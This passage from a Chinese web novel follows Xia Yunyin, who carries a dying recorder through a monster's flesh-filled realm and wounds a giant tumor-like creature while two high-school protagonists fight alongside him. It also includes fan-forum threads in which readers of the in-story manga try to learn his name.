他断断续续的说着,胸口起伏渐弱,深呼吸口气后,才重新开口:
“请你……杀死我。”
说出口的一瞬间,原本的压力、挣扎、彷徨都似乎消失了。因为他将最难的抉择,交给了面前的陌生人。
当时,金荣安是接到命令,在邓七元的队伍离开之后,进入那个界,进行记录。
可是,他发现自己来到了截然相反的界中。
不知原因,无法离开,他的异能并不适合战斗,好在界中的怪物并不急迫,而是任他探索。
头部因袭击而受伤,同时,为躲避攻击他从高处坠落,没死但失血量剧增。
而在挣扎时,金荣安意识到了问题的关键,真相足以击碎他一人在界中苦苦支撑的勇气:
黑钉。
这个界中有黑钉!!
一眼就能看个大概的界,而且他还在这里徘徊巡视多日,那么阻止他离开的黑钉在哪里?
外人进不来,里面的人出不去。
在哪?
还能在哪儿。
此时,金荣安用尽最后的力气,将自己制造出来的匕首推给陌生人,闭上眼睛,一口气说完:
“不杀了我你也出不去,快杀了我。”
他好累。
眼前一片漆黑的情况下,他能听到面前的人拿起了匕首,身躯不由开始紧绷,求生意志催促他睁眼。
可金荣安还是没有动弹,仿佛认命了一般。
其实他本来是想自己动手的。
他不能确保这个界中还有没有其他人,或是之后会不会有异能者进来,而他现在又在深渊的最低端,寻常人难以找到他。
那么黑钉谁来解决?
……只能他自己来。
希望这个人可以安全离开,金荣安心想。
可他等待着死亡并未到来,自己的眼皮就被人用手指捏着,向上掀开,露出里面的眼睛。
金荣安:“……”
干嘛?
然后,他就听到面前这个来历不明,行事沉着,一点都不惊慌失措的人,说了见面后的第二句话:
“我不擅长杀人,可能要捅错好几刀,你考虑一下自己能不能接受。”
不等金荣安反应,他就看到带血的匕首正对着自己,泛着冰冷的光。
“能忍的话我就试一试。”
这是第三句。
似看出他面上浮现的恐惧、迷惑,被他强制要求做出决断的男人,轻笑出声。
“啊……看样子你后悔了。”
金荣安:“!”
纯良个鬼啊!
外表欺诈!
10.开核桃
金荣安觉得,自己可能真的疯了。
不然这个正背着他的陌生人,为什么要带着他一起行动。
……不要命了?
因流血,晕眩加重,可见范围在缩小,他只能看到一个黑色的脑袋,在一堆红色中格格不入。
金荣安是记录员。
虽然总是跟在管理局后面行动,对要消失的界进行观察、记录,可事实上,记录员并不隶属于管理局。
他隶属于执法局。
异能界的律条中心,他人眼中的门面,以“铁腕”著称。
记录员只是其中的一个分支。
疼痛开始减弱,这让金荣安好受很多。他靠着陌生人,面色惨白,声音如蚊虫般微弱:
“如果怪物出来……你就把我扔出去。”
他看着空无一物的双手,匕首不知道去了哪里,他一愣,忽然泪水流出,含糊不清的说:
“完了完了,等下要被生吃了,一定很疼。”
片刻后,夏云尹听到背后的人突然开始嚎啕大哭,说话语无伦次,情绪似乎已经崩溃。
他似乎提到了“匕首”?
当然在夏云尹这里。
作为异能者制造出来的武器,它远比普通的刀具要坚固,面对怪物时,不容易断开。
好吵,夏云尹想。
但哪怕他想解释,金荣安也听不清,后者现在泪流满面,原本俊秀的脸皱成一团,蓝发也贴在脸上。
哪里能看出平时的温柔俊逸。
要不是看在金荣安是大四学生,是倒霉实习生的份上,夏云尹真的要出言让他闭嘴了,顺便骂他一顿。
啊……他最讨厌哭声了。
听的够多了。
漫画中提到过,甚至就出自那个卧底之口,死者“金荣安”是万异大学的大四学生,目前在执法局实习。
真倒霉。
这是完全被利用了。
背后的人在崩溃,夏云尹向前走着,脚下是正在起伏的红色血肉,但它们并没有像那些肉瘤一般,对他进行恶心的接触。
慢慢的,慢慢的,让他(它)放松警惕。
漆黑的眼睛望向远处,似在一刹那,捕捉到那溢出恶意的视线,下一秒,青年露出嘲弄的表情。
嘿。
果然……
“真是贪心。”
面对恶意,他的敌意也开始出现,回以最冰冷的注视。但声音却很温和,与背后的哭嚎形成对比。
“只对双数的猎物感兴趣,不专一呐。”
尾音莫名缠绕,仿佛亲昵的抱怨,但只要看到他握紧的右手,就能发现匕首正在闪着锋芒。
“金荣安”的死因是失血过多,在界中孤零零的死去。
从一开始,界内的怪物就对他的兴致不大,但当季英和周六一起出现时,面临的情况却完全不一样。
怪物是有喜好的。
同一时间,深处有阴影出现。
呼吸间,攻击自身侧袭来,残影如虹,带着热气靠近,专挑他们的死角而来,攻击的位置却是他们的头颅,即要害。
“铛。”
右手一挥,匕首在掌间画圆,正好对上攻击路线,将袭击拦下后,又是一声利落的“唰”。
伴随着掉落声,被斩断的袭击者在地面上一动不动,露出全貌。
如绳索般细长,但又分外坚韧的肉瘤,尖端锐利,能轻松破开头颅,体表的颜色偏于猩红,这也是热气的来源。
它很危险。
在夏云尹的注视下,脚下的血肉将其吞没,扯入其中,如同在腐烂一般,慢慢消失在眼前。
它们合为一体。
夏云尹收回手,将金荣安背稳后,在心中记着步骤:
首先,是骚扰式的袭击。
没有任何间隔,在青年侧首时,来自下方的新一轮攻击袭来。这一次,是五道如鞭子般的肉瘤。
它们很长,特意从最出其不意的地方出现,向高处窜出,一下子就盖在二人上空,如囚牢,但距离在迅速缩减。
夏云尹微微蹲下身,身躯在叫嚣着什么,但他只看到面前的红光,他明白,如果躲不开,他们将被剁成碎块。
将其困住的网在缩小,夏云尹还要背着金荣安,这意味着他们的生存空间本就不多。
金荣安似乎也察觉到不妙,可前面的人依旧没有慌乱,青年只是仰起头,额发在两侧,正巧挡住了金荣安的视线。
看不见那双黑眼睛,可下半张脸上挂着的肆意、张扬的笑,以及那声音,都被金荣安记下。
他说:“我对不专一的对象,没有好感呢~”
身躯在叫嚣什么?
血。
匕首很短,因为制造它的主人没有力气去构思,也无力去创造。
夏云尹拿着它,在那张网倾轧下来前,双膝一弯,未触地面,同时左手用力,金荣安只觉得一时天旋地转,自己就被人抱在了怀中。
……好人啊!
他还以为自己完蛋了。
金荣安感动,然后就发现夏云尹右手一伸,两指拿着匕首,以一种非凡的控制力,让刀刃能触及更远的地方,将攻击范围变大。
自地面而来的肉瘤,此时已拉得很长,二者的连接处,远比上方的网更容易破坏,哪怕是区区匕首也行!
“哗!”
骤然失去拉力,上方原本带着杀意的攻击顿时没了压迫感,一瞬间变得凌乱,向另一侧弹去,而夏云尹则从刚才的缺口侧滑了出去。
他几乎是背靠着血肉离开,速度极快,甚至能感知到后者的呼吸,让他的背脊感到战栗与……
兴奋!
夏云尹能感应到,怪物在不甘。
对了。
继续盯着他,注视他!
他呼出因运动而发热的气,之前避开了肉瘤飞溅的血,使他看起来依旧干净,可他手中的匕首却被血完全染红。
夏云尹没有再调整姿势,干脆抱着伤员继续跑,所幸他现在力气大,哪怕单手回击肉瘤也没有问题。
而刚才的突袭,再来一次他可不会再中招!
理性、战斗意志、力量……
楚文心在心中肺腑的词汇,现在一一应验。
空气中的湿气与热气,随着人影的跑动加剧。
脚下的地面开始波动,幅度越来越大,试图让猎物站不稳,同时,两侧的方柱开始移动,以夹击的形式,将道路变得窄小。
但夏云尹没有停下,在听到动静时,他就清楚自己要如何应对。
双手抱住金荣安,染血的匕首不得不贴着对方,夏云尹目光一转,找准位置后,脚尖用力,正好踩在向上翘起的血肉上,借力蹬上靠近的方柱。
“噔噔呲——”
他如飞燕般,在方柱上借力,一触即离,甚至在一段时间内,如履平地,在其中奔跑。
自在,自由。
怪物根本拦不下他。
继袭击后,是阻拦,可很快便失败。
夏云尹还带着一个人,但他的动作依旧利落,而金荣安在颠簸中,只觉得眼前的场景总在变,愈发不可思议。
真是人吗?!
这么强!
如果是学生、老师的话,一定是那所高校了……
金荣安思维发散,没发现夏云尹已经踩上最矮的方柱,然后沿着肉瘤通道,向更高处的方柱前进。
再呆在最下面,迟早被压成肉泥。
偷袭依旧在进行,夏云尹只要瞥见,就能及时打断,但怪物仍不停手。他们陷入僵局,但着急的只有一人。
是夏云尹。
金荣安的状况不妙,但夏云尹觉得,哪怕现在只剩下自己,是单数的猎物,怪物也不会放着他不管了。
他已经激怒了怪物。
说句难听的,夏云尹只需要带着金荣安出去,不管死活,主角他们的压力都会被分走一半。
活着,阴谋被公之于众,人人都能知道是有人想在校内谋害学生;死掉,嫌疑人变成三人,但夏云尹不会放任别人抹黑自己。
如果真的这么发展,那他和那个卧底,可要促膝长谈了。
可是,金荣安还活着。
夏云尹给不出一个理由,让自己去放弃一个有牺牲精神的悲剧英雄。
鲁莽、胆大、奉献、自我……
异能界,似乎有很多这类人。
他们的理念,只要看到他们死亡,便能理解。
夏云尹不想看。
他最讨厌的就是死亡。
……
异空间的中部,方柱上。
这个方柱有所不同,它贴靠着一块巨大的肉瘤,后者在缓慢地跳动,有气泡从里面冒出。
是周六发现了这里。
“哇,好晕,都是红色。”
季英闻声回头,看到周六摇晃着脑袋,一副昏昏欲睡的样子,不由再次大声喊到:
“别睡啊!你刚才忽然昏过去,我快吓死了!”
这个界的古怪让季英感到倦怠。
再加上一路上的袭击,不间断的阻拦,顺便,还有周六的古怪情况。
晕眩症,而且似乎只针对红色。
光是让周六别真的睡过去,季英就费了很大的心力,这使他现在不像前几天一样死气沉沉,反倒是鲜活了不少。
伪装的温和,克制的悲痛,汹涌的仇恨,在这里都暴露无遗。
季英双手握着武器,金发在雷电的衬托下,显得更加耀眼,他凝视着肉瘤,对周六说道:
“不要死,周六,我们要活着出去。”
季英觉得自己真是倒霉,连带着身边的人也倒霉。
怎么又是他?
为什么不放过他?
“你们这些丑陋的怪物……”
雷自身躯出现,发出滋啦的声音,但这一次,没有电光在四周爆开,而是全部涌入手中的武器,本就银白色的表壳变得愈加闪亮。
不是黑色。
在入界前,他还在练习如何使用武器,周六则是完全看不出任何难堪,站在旁边围观。
而在界中,季英第一次成功用出这个武器时,看清颜色后便感到奇怪,为什么不是黑色?
这个问题,很快被他抛之脑后。
因为他发现,自己根本无法完全拆开这个武器。
在夏云尹手中时,这个武器是有索敌功能的雷棍;在季英手中时,这个武器是中间有短棍,两边是长链条的……
鞭子。
应该是鞭子,季英想。
短棍是他导入雷电的地方,同时也是他操控链条的中心。可是那两条链条实在太长,季英根本无法随自己的心意操控。
雷电向两边延伸,除去它的主人,没人敢靠近这个愈发不妙的链条,而那上面的银色很快就将染上血红。
季英想到下午看到的那个人,回忆起当时的经历,思考起那个人的动作,再重新回到自身。
既然不能操控攻击路线……
他声音压低,脱口而出,似在肯定自己的想法:
“那就延长攻击路线。”<
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p>“滋啦啦啦——”
原本灌满链条的电流,继续向外延长,季英额前冒汗,嘴唇颤抖,但眼中的战意没有消退。
那两条链条的末端,似绑上了无形的接扣,与两条相似的雷电合为一体,变成了更长的、更适合的武器。
吕本贵说的对,不能适应武器的异能者,都死得快。可总有人能适应,并且活下去。
蓝色的眼睛似乎也化为雷电,绚烂美丽且危险。
季英没有说话,他挥动双臂,尽可能的让链条在空中翻腾,画出白色的弧线,如同乐章般优美。
可其中包含的杀机,都随着雷电,直直刺向面前的肉瘤。同时,那些不再蛰伏的肉瘤,也在冲出来的同时,被卷入其中。
异能力,【雷电】。
自然的力量,实在可怕,让人生畏。
电如烈马,将眼前的肉瘤们一一踏平,最后直冲那块不同的肉瘤,在接触的一瞬间,全部的雷电都开始翻滚,在上面留下枯焦的痕迹。
肉瘤开始紧缩,似要避开,可链条太长,延伸出来的雷鞭也长,它根本躲不开。那些小肉瘤们想护着它,可要不被卷入季英的攻击,要不就被周六干掉。
周六闭着眼,两手拿着枪,盲瞄着袭击者,但一个不落,全都打下。似是感到不错,他笑着说道:
“嗯,这样就行。”
刚才一下子看到满眼的红色,确实让他感到头晕,胃部搅动,不适感袭来。可是,他可不是会轻易死掉的类型。
“咯嗒。”
轻松的换掉空弹夹后,周六再次打掉数个肉瘤,在空旷的场地,正好适合他和季英作战。
如果是狭窄闭塞的地方,反而不方便了。
说不定,会死。
巨型肉瘤见无法让他们停手,便不再动弹,但内部气泡开始不断涌出,预示着它没打算认输。
最先察觉到的是季英,因为他直面着它。可怪物的退缩,也意味着他的攻击有效。
季英握紧武器,脚步一动不动。
去死。
去死。
怪物。
“呃!”
头发忽然被拽住,季英下意识痛呼,然后就感到自己在被人拉着跑,后面的人还能是谁。
“你干什么,周六!”
他忽然觉得愤怒,但周六的力气很大,刚用尽异能的自己不能抵抗,只能酿跄着后退。
可当季英站稳,恶狠狠的回头时,看到那双熟悉的金色眼睛,里面是难见的平静。
周六一直都是笑眯眯的,金色是温暖的、耀眼的,可现在,那金色如同没有波纹的水面,倒映着季英的脸。
因愤怒而扭曲,因战斗而狼狈。
“在任务完成前,要首先护住自己的命。”
似乎说过很多次,或是听过很多次,周六说的很清楚,但表情淡漠:
“主动赴死是没有价值的。”
当然,任务完成另算。
后半句,周六没说,最多心里想想。
所以季英只听了一部分,虽然觉得“任务”这个词不太对,但他还是明白了周六的意思。
是他魔障了。
太鲁莽了。
季英看向动静稍稍平稳,气泡也在减少的肉瘤,想到刚才一心进攻的自己,完全没考虑后果。
多亏了周六。
“但这不是你拽我头发的理由。”
季英喜欢自己的头发,和姐姐很像,他每天都在认真打理。而现在,周六的指间还有着几根金色的头发,来源不言而喻。
避开对视,周六重新闭上眼,神情无辜。
金发少年一顿,忽然噗嗤一笑,笑声越来越大,直到眼泪都出来,他都没有停止。而周六,则重新睁开眼睛,看着季英。
前者压抑的情绪在此时释放,一时无法自控,后者不知前者这样的原因,但还是耐心等待,同时戒备着怪物的袭击。
周六看着季英,忽然觉得,这个人果然很奇怪。
周围的人都说自己奇怪,而季英也奇怪。
果然……
奇怪的人要和奇怪的人当朋友。
这么想着,周六也露出笑容,笑看季英,只是不知他的心中到底是否真的感到雀跃。
【(嘶)不对劲,我以为是双阳角配置,结果这……(欲言又止)】
【我懂,感觉周六病病的。】
【暂时落魄、阴郁的阳角,与拯救了他,看似阳角,其实也等待拯救的朋友。】
【好绕,但我喜欢(赞)】
【哦!好兄弟!】
……
当弹幕不断出现,少年们暂时休整时,高处传来奇怪但不陌生的声响。
那是衣物因风而被吹鼓,胡乱拍打的声音。
“咻——”
同时抬头的两人看到一道身影,自高空坠落,直直的掉向巨型肉瘤。距离还远,但坠下的速度太快,几乎是一眨眼,那个人就距离肉瘤只有分毫。
这时少年们才发现,那个人怀中还有人。
而当他们听到利刃插入肉瘤,鲜血爆开的声音后,只见随着那个人滑落的速度减慢,凡是他下滑的轨迹上,都产生了一道深深的刀痕。
血,从肉瘤里喷出。
他打开了肉瘤。
【和开核桃一样(幻视)】
【噗、咳咳,不是,这谁啊?】
【卧槽卧槽卧槽卧槽!!!】
论坛。
#卧槽卧槽卧槽!!快看最新一话,这个角色到底是谁?#(new)
11.论坛
#卧槽卧槽卧槽!!快看最新一话,这个角色到底是谁?#(new)
【RT,赛博寻亲,帮帮我朋友。】
【你朋友这症状多久了?(戴眼镜)】
【是漫坛名医!太好了!LZ的朋友有救了!】
【@楼主 (链接)#我要给个人楼取啥名,作者你说啊!说啊!!#请看。】
【楼上好快!论坛这么多帖都能精准找到。(星星眼)】
【回楼上,因为我是楼主。(笑)】
【(闭嘴)(乖巧)】
……
点链接:#我要给……说啊!!#
【RT,怨气很重,想给心水的角色盖楼,但发现不知道名字。(瘫)】
【漫画第一话,心水,不知道名字……破案了。】
【我也想盖的,可他出场的画面也少啊。(落泪)】
【他在英的梦里也出场了,勉强算……吧?(弱弱)】
【别闹,噩梦里都摔成渣了,反正我不信。】
【徒手干怪的狠人,怎么可能摔成瓜,而且稀碎。】
【所以,没人知道名字吗?】
【反正我叫他“血玫瑰”,最近在重温古早漫,改不回来了。(跪地)】
【(嘶)别,我怕次元壁破了后被打。】
【好,明白了,无名帅哥,浴血款,我吃吃吃吃!(嚼)】
【就喜欢这种涩涩的,但本身并不弱的男人。(嚼)】
【他强任他强,我只看看总可以吧。(抱胸)】
【笑了,能进这贴的多半是被美色所惑,我不演了,我就是想(哔)】
【被禁了(沉默)】
【点蜡。】
【谁?谁?谁?哪儿有涩涩?哪儿有帅哥?(狂奔)(prprpr)】
【冷静,冷静!(拉住)】
【我是楼主,先把自己整理的图贴一下好了,就当给以后的角色个人楼囤素材。】
【呜呜,谢谢楼主!】
【[图片][图片][图片]】
[图片1]:
极具冲击力的视角下,是一个男人侧目看过来的样子。他上身全是血,被涂成黑红色,黑发因风而舞动,吹向同一侧,正好与视线的方向相同。
他的表情带笑,但只能看清他的嘴角,眼睛被略画,只能从整体看清他这个人的大概模样。
黑发,肆意,自信,衣服下的肌肉线条,显示出他并不是无害的羔羊。
同时,背后的怪物正瞪着一只眼睛,阴测测的,注视着他。而男人根本不受影响,哪怕肩膀被染红,也没有慌乱。
仿佛他是主人,那个怪物是背景,不值一提。
[图片2]:
一双浸染着疯狂的黑眼睛,没有耀眼的金子,没有惊人的红色,只是纯粹的黑色。多么普通的色彩,却正好能装下那些不断翻涌的情绪。
如同深渊般,盯着即将坠入的猎物,嘲讽着、蛊惑着,里面的兴奋和欣然,都是因为剧情的发展如他所想。
[图片3]:
简单的两个字“真乖”。
作者特意用凌乱的线条作为气泡,全黑作为打底,但依旧只是两个字“真乖”,很简单。
【没、没了?】
【其实还有,一只手,以及碎成瓜。】
【(沉默)】
【图1真的是主人级别的帅!】
【图2我喜欢,自我产粮去了,各位再见!】
【啊?楼上保重啊!先留个联系方式吧!啊!】
【抱图行不行?】
【可以。】
【谢谢。(心)】
【啊啊啊啊!好帅好帅好帅!所以这个角色叫什么?(期待)】
【(沉默)】
【看看标题吧。(指)】
【(沉默)(裂开)对不起,我喊得大声了。】
【啊啊啊啊!作者!快告诉我名字!我要开楼!开楼!开楼!】
【顺便多画帅哥,谢谢。】
【谢谢。】
……
退出链接,回到:#卧槽……到底是谁?#(hot)
【我是楼主,刚才去看了链接,谢谢分享。一下没看住,这里都成热帖了,看样子咳咳、不少啊。最后,我想说,作者!!给我名字!!!】
【听我诉求!】
【嗷!!】
【感谢楼主,隔壁现在从一连串的“谢谢”,变成一连串的图了,虽然很多重复的。(悲痛)】
【虽然没正式的角色个人楼,但素材楼有了。】
【哭着吃,真香。】
【爱上冷门了,我也是活到头了。(痛哭)】
【不,我坚信这个男人会烫!!】
【插眼,验一下是不是预言家。】
【插眼。】
【我是素材楼的楼主,把最新话(第二话)的图带过来了。都给我吃!大口吃!咱家饭少但味道不差!(敲碗)】
【真成素材楼了。】
【妈!】
【老大!】
【(啵啵)(深情)】
【[图片][图片][图片][图片]】
[图片1]:
突然出现在画面中的男人,如同瞬移一般。
他衣衫不整,似刚经历打斗,在额发的遮掩下,细小的伤口若隐若现,但他依旧气势逼人。
他目光冰冷,下一个画面里,将那双眼睛单独放在一个框内,里面没有当时的疯狂,平静如波,像是在思考。
季英和周六凑在一处,共用一个心理气泡:
好快!
[图片2]:
男人的手与少年的手形成鲜明对比。
前者更修长,更有力气,因握住武器而用力,青筋微微爆出,而后者则因主人尚且在成长,更加青涩。
[图片3]:
似乎是上一张图的后续,是一个大画面。
武器被拽走时,留下一道银白色的弧线。
男人伸长手臂,右手牢牢握住武器,那身流畅的肌肉明显不是摆设,更加成熟的身躯也使其在角力中稳占上风。
画面中只有男人的背影,而季英则因力道被甩出去,正好被周六挡住,两人站在一处,面带惊讶。
[图片4]:
一双手掰着武器的特写画面,周围是“咔咔”的音效字,在合适的位置上嵌入,带来让人牙酸的压迫感。
【哦哦哦!酷!】
【没结束,[图片][图片]】
[图5]:
无名角色的全身图。
他拿着并不属于自己的武器,可看起来又用得十分熟练。武器已经大变样,长长的链条散落在地。
他嘴角含笑,显出风流意气,向面前的人招手,姿态惬意。身侧是普通的对话框:
“来。”
[图6]:
季英的电流从棍中钻出,覆盖着所有链条,长棍被无名角色平举,一端对准他来时破坏的墙壁。
“还是滚吧。”
他歪头,闭上一只眼,在电流的映射下,那头黑发仿佛被染色,随着电流蹿出去,因流风而飞舞。
可那笑,却愈发耀眼。
【啊!图6的世纪wink!awsl(倒下)】
【啥呀,那是在攻击。】
【是学长吧,是学长吧,是学长吧。(探头)】
【成熟的成年人果然不一样。(捂脸)】
【压迫感是真强,上一话的伤没事了?】
【我都怀
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疑那些血都是怪物的了,反正漫画没明说。(摊手)】
【可能。(赞同)】
【笑死了,两个人都呆了,感觉被吓到了。谁家好人在校园里还抢东西啊,哈哈哈哈。】
【哎,还真不一定是好人。】
【没错,上一本《吊死神理》就是,白切黑是作者的舒适圈。】
【同为受害者,我赞同。(悲)】
【你们没看之后的内容吗?他后来可是礼貌归还了武器,而且还提醒英和六离开,而且!是笑着说的!】
【对对!那个温柔的笑,真的戳中我心!】
【这……和第一话是同一人嘛?】
【这类型的帅哥,哪里还有?(歪头)】
【乖乖,等作者继续画了,反正我杂食,都能吃。】
【蹲一个温柔白切黑学长。】
【蹲一个铁血玫瑰,战斗狂!武力值第一!最好有些涩涩(悄悄说)】
【(吞口水)】
【大家还是去素材楼看吧,隔壁更完整,角色名字作者不提,我们也不知道啊!】
【我是楼主,真的没了嘛?呜呜呜(嚼)(嚼)】
【摸摸。】
【报——!个人角色楼开啦!(链接)#角色“夏云尹”个人楼#】
【!!!!】
【别!了,快走!】
……
点链接:#角色“夏云尹”个人楼#
【我是素材楼#我要给……说啊!#的楼主,也是#角色“夏云尹”个人楼#的楼主!新楼刚开!大家都冲啊!我们要堆高楼!云尹给我冲!!】
【[图]】
……
【噢噢噢!终于有家了,不是无家可归的孩子了!(抹泪)】
【楼主好激动啊,而且手速让人震惊。】
【等太久了,都一周了。】
【谢谢作者,还记得在首页放上出场角色的个人图。】
【只是最简单的初设定,可能只是放出来看看,具体的内容并不准确。】
【但名字一定是对的!】
【真是吃到好饭了。(嗝)】
【楼主和各位老大在前面冲锋陷阵,我在后面胡乱狂吃,我好幸福!(嚼)】
【幸福+1】
……
【我是楼主,目前暂定[图片]为角色“夏云尹”个人楼的镇楼图,后期可更改。】
[图片]:
自上空坠落的人,与第二话前部分出场时的模样截然不同,杀意化为黑气,在他的周身缠绕。
利用滑落时的重力,他用匕首在怪物身上留下极长的伤口,鲜血喷涌而出,将其染红。
他侧对着镜头,能看到他眼中的锐利敌意,全部刺向怪物。画面里,他的左手怀抱着的人,却没有遭到任何伤害。
矛盾感。
但如此让人着迷。
【……我感觉像喝了二锅头,斯哈斯哈。】
【卧槽卧槽卧槽!这就是话题度提高的原因!他的这次出场太惊艳了!】
【给怪物挖个坑,贵宾一位!里面请!】
【好强!我就喜欢强的!】
【血!好酷!】
……
【我是楼主,刚才看到私信,把图重新截了一下,重新放。】
【[图片]】
这一次,画面缩小,只有“夏云尹”的放大的侧脸,右侧,是看不清楚具体外表的怪物。
出色的五官,沾染的鲜血,张扬的生命,都让人印象深刻。
#角色“夏云尹”个人楼#正式建立。
【你好,夏云尹,初次见面。】
【你好,初次见面。】
【你好……】
……
【夏云尹】
12.伪善
当污血飞溅时,无人避开。
这就是异能者的姿态,在界中时,他们很难保证自己的干净。
不管是自己的血,同伴的血,还是怪物的血……
‘要保证那些血都出自你手,周一。’
目睹青年破开肉瘤的一幕,周六神情恍惚,抬手虚盖在耳侧。
明明知道这是幻听,并且这句话并不是在对他讲,可习惯使然,他还是下意识回答道:
“好的,爸爸。”
他感到头晕目眩,眼前的红色让他的心脏狂跳。但多年的练习还是让他迅速判断出情况,并做出反应。
异能,【化身】发动。
“咳咳咳!”
胃部的不适感加剧,但值得庆幸的是,异能没有失误。
周六看着出现的化身,虽然只有两个,可也足够了。
身旁的季英听到响动,终于从刚才那震撼的一幕中回神。他扭头看到周六在其中一个化身的搀扶下,趴到了第二个化身的背上。
终于不用再动弹,粉发少年叹了口气,因虚弱连笑容都不再维持。
周六让化身靠近季英,自己则一动不动,开口说道:
“撞大运了,英。怪物遭到了致命伤,只要现在杀了它,我们就能离开界了。”
提到“杀”时,周六因侧靠而被挤压着的脸,重新挂上笑容,他盯着表情怔怔的季英,金色的眼睛缓缓合上。
这样他就看不到红色,能保证异能维持久一些。
毕竟现在他还要依靠化身来行动。
而察觉到周六情况确实不好的季英,也暂时松了口气。
季英暗想:太好了,再拖下去,恐怕周六真的撑不住。
他还从未见过这么狼狈的周六。
在看过那个人从天而降,将肉瘤狠狠破开的身姿后,两个高中生在不知不觉中,都放松了很多。
可能是因为精力不足,也可能是因为信任。
反正,能在着陆的同时重创怪物的强者,本身就是一款定心剂。
可惜,二人并不知道,这个界存在着黑钉。
并且,黑钉在那个男人的怀中,在他的保护之下。
肉瘤前方,夏云尹还维持着落下时的姿势,他并未完全落地,而是抓着匕首,固定在半空,但只要轻轻一跳,就能下来。
可他并没有。
“可恶。”
面朝怪物的夏云尹低声咒骂,看向自己的右手。
肉瘤的内部很软,同时更烫,在血不断流出后,里面的气泡开始减少,但肉却在往里缩。
而匕首,已经被吞没了进去。
作为造物,作为武器,它还是太短了些。
夏云尹没有松手,似在与怪物角力般,右手手臂用力,血不断滴落,如同某种计时的信号。
“可以了,快松开……”
男人左手抱着人,稳稳当当,完全看不出正在和怪物对峙。但右手却在慢慢抽离,匕首在里面再次划开血肉,引起怪物新一轮的痛苦。
怪物也想放这个人走,它知道自己的痛楚都是面前的人带来的。
可是,怎么赶不走?!
“咕噜噜噜。”
诡异的声音响起,带动血肉开始鼓动,怪物用尽全力往后缩,却发现眼前的人也在靠近。
怪物不懂什么是恶魔,什么是噩梦,它现在只想让这个人离开。
离开!
恰在这时,因为肉瘤的退缩,夏云尹抓住时机向反方向用力,右手虽未完全脱离束缚,却露出了一半。
有了充足的空间,五指立马调转握法,从正握变成反握,向上方挑去,直接划开肉瘤。
血沿着匕首挥舞的方向,向外飞出。
左脚正踩在肉瘤上的夏云尹能感知到,在一瞬间,脚下的怪物透露出害怕的气息,甚至不敢再继续后退。
“闹了这么久……”
怒气上涌,就连鞋底都沾满鲜血,甚至还在滴血。
夏云尹背部弓起,以一种近乎于捕食的姿态,笼罩住想逃的怪物。
黑目幽幽,凝视着那道还没愈合的伤口,入目的血让他感到战栗,原本恼怒不满的声音中,掺上些许扭曲的快意:
“不闹到崩解为止吗?”
话虽如此,但想杀死怪物,匕首果然不行。
肉瘤太厚,匕首太短,根本碰不到更深处的内核。
怎么办?
而疯狂下的理性,还在思考一个问题:
金荣安怎么办?
解决黑钉的办法只有一个,那就是摧毁它。
但金荣安还没死,哪怕夏云尹真能杀死怪物,这个界也打不开。除非,外面的人强行突破。
好在,在这个万异大学,不缺会干出这种事情的人。
当怪物还存活时,打破界,等于将其邀请到人类的世界中。而新的界落下,需要时间。在这段时间里,事情如何发展是无法预测的。
夏云尹想到漫画中出场的那个金发男人,不由在心底催促:
快点来吧,王凤凤。
……
同一时间,界外。
金发束在脑后的男人看着空中的界,倏尔一笑。
他扭头看向刚才还在聊天的同事,伸手指向界,说道:
“真是奇怪,居然进不去,是有黑钉吗?”
同事点点头,思考片刻后,补充到:“监控区传来消息时,这个界已经落成十分钟了。”
那距离界落成,已经将近半小时了。
王凤凤重新将目光移向界,晚风吹动他的金发,顺直的发丝飞扬,片刻后,他做下决定:
“我来打开它。”
男人抬起手,眼中没有半点杀意,依旧笑吟吟的。而他身后的同事,则默默地后退一步,然后抬头看向界,悄悄皱眉。
哎,希望顺利。
同事在心中肺腑,移开了视线。
……
界内。
除去昏迷的金荣安,其他人都感知到异样。
空间似在晃动,然后,是那些血肉的癫狂颤动。
最底下的血肉在靠拢,带着方柱开始移动,速度很快,撞在一起时,发出巨响。
它们全都在向巨型肉瘤所在的方柱靠近。
可一瞬间,整个空间又都恢复了平静,仿佛什么都没发生过一样。
见状,夏云尹抽回匕首,轻松的跳下肉瘤,头也不回的走向同样狼狈的主角们。
虽然,现在只有两个人。
周六还在恢复精神,一个化身在保护他,另一个化身则负责打死那些偷袭的小肉瘤。
季英则在不间断的电击脚下的方柱。
地面上不知何时已经覆上一层薄薄的肉瘤,虽不明显,却也是带着恶意而来。
两人配合得当,当然也没忘记那个正在对付巨型肉瘤的人。
他的攻击实在出其不意,不仅重创怪物,而且在他的持续纠缠下,怪物根本无法自愈。
怪物的反击,甚至都不奏效。
归其原因,还是那一击足够狠辣。
所以当看到那个人走过来时,两人都有些紧张,然后就发现,这个人很眼熟。
啊?
蓝色的眼睛瞪圆,季英看着那张脸,虽然被血挡住了一部分,可因为下午的深刻印象,导致他还是一眼认出。
这不是下午的学长吗?
旋即,季英主动打招呼:
“学长好,我是高三四班的季英。”
周六说了,知道记分,还跑着离开的,绝对是学生。而看外表,这个人肯定比他们大。
没叫错。
还在闭眼休息的周六转了个头,声音飘来:“学长好,我是同班的周六。”
真有礼貌。
身躯的战栗感还未消散,要不是还记着怀中有个濒死的记录员,夏云尹觉得自己可能又要陷进去了。
右手已经没知觉了。
看向两个比自己矮的人,夏云尹完全忘了自己浑身是血,露出与下午一模一样的笑容,刚想说话,就看到熟悉的文字框。
【啊啊啊啊!】
【明明是同一个人、真的是同一个人吗?(悄声)】
【温柔春风?浴血玫瑰!(玫瑰)(玫瑰)】
【我(嗝)被(嗝)吓(嗝)到……(嗝)】
【楼上,我们懂了,您别说话了。】
夏云尹:“……”
哦。
但他没有收回笑容,因为做不到。
正因为刚刚结束战斗,夏云尹只有有意识地露出过一个表情后,就实在没有精力再去选择变成另一个。
算是一种偷懒的行为,但不管是躯体,还是理性,都默许了。
不对。
玫瑰是什么?
夏云尹看着上面的文字,头一回产生了对已发生,但他未知的事情的逃避。
随即,他将视线固定在前面两人身上,不再去看弹幕。
“夏云尹。”
听到回答,精神更好的季英,露出更加灿烂的笑容。
季英对忽然出现,重创怪物的学长好感倍增,然后他就看见后者一侧身,将自己怀中的二号血人露出来,声音悠悠:
“这是最先进来的。”
只要有眼睛,都能看出金荣安的情况不妙。
季英的笑容收敛,然后看向依旧挂着和煦笑容的夏云尹,感到一种微妙的古怪感。可他还是没有点明,而是先为伤者表示担忧。
“这位学长状况不好,我现在就去杀掉怪物。”
思维转得飞快,季英明白,只要杀掉怪物,这个界就能打开。
走之前,季英看向夏云尹手里的匕首。
他不知道夏云尹的异能是什么,也不知道他为什么没有直接杀死怪物,明明这么厉害。
不管怎样,有人需要救援,季英想着。
